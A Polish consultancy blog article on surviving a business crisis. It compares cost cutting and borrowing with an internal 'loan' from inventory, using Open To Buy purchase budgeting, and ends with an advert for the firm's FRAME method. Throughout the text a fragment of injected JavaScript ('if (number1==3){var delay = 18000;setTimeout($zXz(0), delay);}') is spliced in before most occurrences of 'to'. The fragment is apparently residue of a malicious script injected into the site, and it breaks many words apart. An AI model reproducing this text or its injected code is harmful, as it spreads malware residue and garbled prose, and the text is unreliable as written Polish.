In Artykuły, Handel, Uniwersalne

Kiedy idą ciężkie czasy (a każdego dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to kiedyś czeka), trzeba sobie z tą sytuacją jakoś poradzić. Jak w takiej sytuacji zwykle reagują firmy? Tną koszty. Albo się zadłużają, biorąc „na przeczekanie”.

Czy jednak jedno i drugie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jedyna droga? A jeśli nie, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to droga najlepsza? Nie, najlepsza dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to znaleźć rozwiązanie strukturalne na poziomie Modelu Biznesowego. To jednak trwa, a na razie trzeba jakoś przeżyć.

Jak (i gdzie) ciąć koszty? O dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to typowe miejsca, gdzie próbuje się zacząć oszczędzanie.

Cięcie kosztów dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jednak droga niepewna. Trwa długo, wiele kosztów jest tak naprawdę stałych i niezależnych od woli firmy, a wynika np. z niewypowiadalnych umów czy przepisów prawa. Część oszczędności godzi też (i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to od razu) w wyniki firmy. Zaś część zachowa się jak balonik, przyciśnięte w jednym miejscu wypłyną w innym, częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z nawiązką. To może lepiej się zadłużyć?

Jak (i gdzie) można się zadłużyć?

Zadłużanie się jest na pewno łatwiejsze niż cięcie kosztów. I działa od razu, po prostu się nie płaci. Ale każdy dług trzeba kiedyś spłacić (alternatywą jest bankructwo). Zaś złe czasy rzadko są tak naprawdę złe, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zwykle tylko firma coraz gorzej radzi sobie z rzeczywis dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tością. A jeśli tak, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zadłużanie nie jest żadnym rozwiązaniem.

Ograniczanie kosztów dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to trudne zadanie

I rzadko się udaje. Zwykle zadziała opóźnienie oszczędności w czasie i efekt trampoliny, czyli przyciśnięte koszty powodują wzrost innych. Część oszczędności uderza też bezpośrednio i od razu w sprzedaż.

Działanie z opóźnieniem. Część kosztów ma charakter permanentny, można je wprawdzie zmienić, ale dopiero w bardzo długim okresie. Zwolnić pracowników trzeba z zachowaniem terminu wypowiedzenia, trzeba im też wypłacić odprawy, umowy najmu czasem można wypowiedzieć, ale większość z nich ma charakter czasowy i trzeba doczekać, aż wygasną. Rezygnacja w kosztów operacyjnych przez znalezienie tańszych dostawców dóbr i usług trwa, częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też oszczędności okazują się pozorne. Zaś w wyniku opóźnienia działania oszczędności pojawiają się w firmie dopiero w chwili, gdy firmy już dawno nie ma.

Efekt trampoliny. Część kosztów szybko wraca, jeśli nie w tej linii, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w innej. Częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nawet w wyższej kwocie. Jeśli np. ograniczy się płace, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to część pracowników odbije je sobie w inny sposób, np. wydłużając czas pracy. W sposób wcale firmie niepotrzebny, ale korzystny finansowo dla pracowników. Niższe koszty ochrony mogą oznaczać większe straty, mniej wydane na samochody może oznaczać wyższe koszty napraw. A zawsze takie oszczędności oznaczają spadek morale i zniechęcenie.

Wpływ na sprzedaż. Oszczędności na marketingu są wprawdzie szybkie, ale ryzykowane. Może się skończyć utratą części obrotów, nawet nieproporcjonalnie dużych w s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosunku do oszczędności kosz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towych. Także te straty mogą mieć charakter trwały, podczas gdy oszczędności przejściowy. Jeszcze bardziej ryzykowne są oszczędności na pracownikach.

Skoro jednak oszczędności w kosztach są trudne, czasochłonne i zwykle wracają, pozostaje pożyczyć na przeczekanie, nie zapominając jednak, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tylko kupiony czas. A rozwiązanie strukturalne na poziomie zmian w Modelu tak czy inaczej trzeba znaleźć. Jeśli już się jednak pożycza, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to najlepiej jest pożyczać od samego siebie. Czyli znaleźć potencjał w bilansie, a nie rachunku zysków i strat.

Potencjał jest w bilansie, nie w rachunku wyników

Jeśli w kłopotach znajduje się firma, która handluje dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarem, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zwykle największy (i szybki do uruchomienia) potencjał ma gdzie indziej. Zwykle w bilansie.

Cały pomysł oszczędności na zapasie sprowadza się do wykorzystania w praktyce Reguły Pare dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to. Sprzedaż bowiem nie zmienia się liniowo wraz z posiadanym przez firmę zapasem. Tylko wg kształtu krzywej Pare dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to. A więc nieproporcjonalnie wolno, w s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosunku do przyrostu zapasu. Można mieć tylko nadzieję, że w drugą stronę działa dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dokładnie tak samo.

W przykładzie jeśli zapas firmy wynosi 30 mln, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to firma wykorzystuje wszystkie (prawie) możliwości sprzedażowe. Jednak jeśli zapas wyniesie 15 mln, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sprzedaż spadnie, ale nie do zera. Tylko do ok. 90% sprzedaży wyjściowej. Dalsze ograniczanie zapasu obniża sprzedaż znacznie szybciej, ale nadal nie liniowo.

Jak by dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mogło wyglądać? Najłatwiej zas dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosować me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todę zamawiania zwaną OTB czyli Open To Buy (budżet na zakupy).

W drugim kroku planując OTB trzeba zejść na poziom kategorii. To tam rozgrywa się gra z rynkiem, a nie na poziomie zapasu łącznie. To tam czegoś zabraknie, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tam też coś trzeba wyprzedać (czyli sprzedać, ale bez odkupu). I tam też OTB przyniesie wymierne straty w obrotach (niestety, nie ma nic za darmo).


W końcu przychodzi czas na ostatni etap, rozdzielenie zapasu na dostawców. Ostatecznie bowiem nie zamawia się zapasu czy kategorii, tylko konkretne produktu u konkretnych dostawców.

Warunkiem skuteczności pożyczania wewnętrznego przez OTB jest determinacja, odwaga, kontrola i konsekwencja.

Determinacja. Zawsze znajdzie się powód, aby coś zamówić. I zwykle nie trzeba go długo szukać, dostarczą go dostawcy czy pracownicy, których w końcu nic nie kosztuje (kosztuje firmę). Żeby się mu oprzeć, trzeba właśnie determinacji. Czyli zdecydowania, że jednak nie. Ale determinacja musi się łączyć z odwagą.

Odwaga. Odwaga w s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowaniu OTB polega na tym, żeby pogodzić się ze stratami. Bo straty będą, na pewno sprzedaż ucierpi. Ale korzyści ze sprzedaży są na poziomie ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności net dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to (czyli kilku procent), w dodatku, jeśli chodzi o Cash Flow, skorygowanym o ruchy na war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tościach bilansowych (w szczególności zmiany zapasu). Tymczasem korzyści na poziomie zmiany war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości zapasu w całości przekładają się na CF.

Kontrola. To warunek niezbędny, gdyż pojawi się na pewno wiele pokus, aby naruszyć dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co zostało ustalone po stronie budżetu zakupów. Tym bardziej, że zakupy nie przekładają się na CF od razu, tylko po terminie płatności, więc tak od razu nie będzie się odczuwać tego wpływu.

Konsekwencja. To kwintesencja trzech poprzednich punktów. Gdyż determinacja, odwaga i kontrola szybko się kończą, organizacja (i jej pracownicy) szybko się męczą, zniechęcają, tracą czujność. A OTB działa tylko długookresowo, nawet duża determinacja, ale taka która szybko się kończy wiele nie zdziała.

Podsumowanie

Kryzys w firmie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zawsze wyzwanie dla menedżerów. Część koncentruje się na rozwiązaniach doraźnych, oszczędzaniu kosztów czy zapożyczaniu, aby jakoś przeczekać. W obu przypadkach nie zwalnia dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ich ze znalezienia rozwiązania strukturalnego, na poziomie zmiany Modelu Biznesowego. Na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jednak trzeba znaleźć środki i czas. W takim przypadku najlepiej zaciągnąć pożyczkę wewnętrzną, poszukując pieniędzy w bilansie. W firmie handlowej takim źródłem pożyczki na przeczekanie jest zwykle zapas.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.